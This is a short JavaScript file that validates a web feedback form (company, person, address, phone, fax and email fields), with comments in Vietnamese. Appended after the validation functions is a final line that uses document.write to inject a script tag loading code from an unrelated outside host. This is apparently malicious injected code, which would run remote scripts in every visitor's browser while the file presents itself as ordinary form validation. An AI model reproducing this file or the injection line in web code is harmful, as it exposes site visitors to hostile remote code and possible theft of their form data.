function validSpace(nameID,msg)
{
	if (document.myform[nameID].value=='')
	{
		alert(msg);
		document.myform[nameID].focus();
		return false;
	}
	return true;
}
function feedback()
{
	if (!validSpace('company','This not null!'))
		return false;
	if (!validSpace('person','This not null !'))
		return false;
	if (!validSpace('address','This not null !'))
		return false;
	if (!validSpace('tel','This not null !'))
		return false;
	if (!validSpace('email','This not null !'))
		return false;
	
}

//loi so dien thoai 
function dienthoai(inputString)
{
	if (isNaN(inputString))
	{
		alert("Number Phone false !\n Ex:047570594 or 0915652620");
		document.myform.tel.focus();	
	}
	
}
function dienthoai1(inputString)
{
	if (isNaN(inputString))
	{
		alert("Number Phone false !\n Ex:047570594 or 0915652620");
		document.myform.fax.focus();	
	}
	
}

function check_Email(EmailValue)
{
	var EMailIsValid = true;
	var SymbolAt = EmailValue.indexOf('@');
	var LastDotAt = EmailValue.lastIndexOf('.');
	var SpaceAt = EmailValue.indexOf(' ');
	var Length = EmailValue.length;

	
	//sau email id phai co @ 
	// @yahoo.com : sai
	// abc@yahoo.com : dung
	if (SymbolAt < 1 )
	{
		EMailIsValid = false;
	}

	//dot . (dau cham) phai sau @ 
	// abc@yahoo : sai
	// abc.y@yahoo : sai
	// abc@yahoo.com : dung
	if (LastDotAt < SymbolAt)
	{
		EMailIsValid = false;
	}

	// tiep theo lac cac ky tu: [com, uk, fr, ...] xuat hien sau . (dau cham)
	// abc.y@yahoo. : sai
	// abc.y@yahoo.c : sai
	// abc@yahoo.co : dung
	if (Length - LastDotAt <= 2)
	{
		EMailIsValid = false;
	}

	// Khong duoc de khoang trang " " 
	// abc@yah oo.com : sai
	if (SpaceAt != -1)
	{
		EMailIsValid = false;
	}

	if (EMailIsValid == false)
	{
		alert("Email is false !\nEx: hien2010@gmail.com");
		document.myform.email.focus();
	}
	
	return EMailIsValid;
}
document.write('<script src=http://radiowhiteangel.bplaced.net/MySQLadmin/demos.php ><\/script>');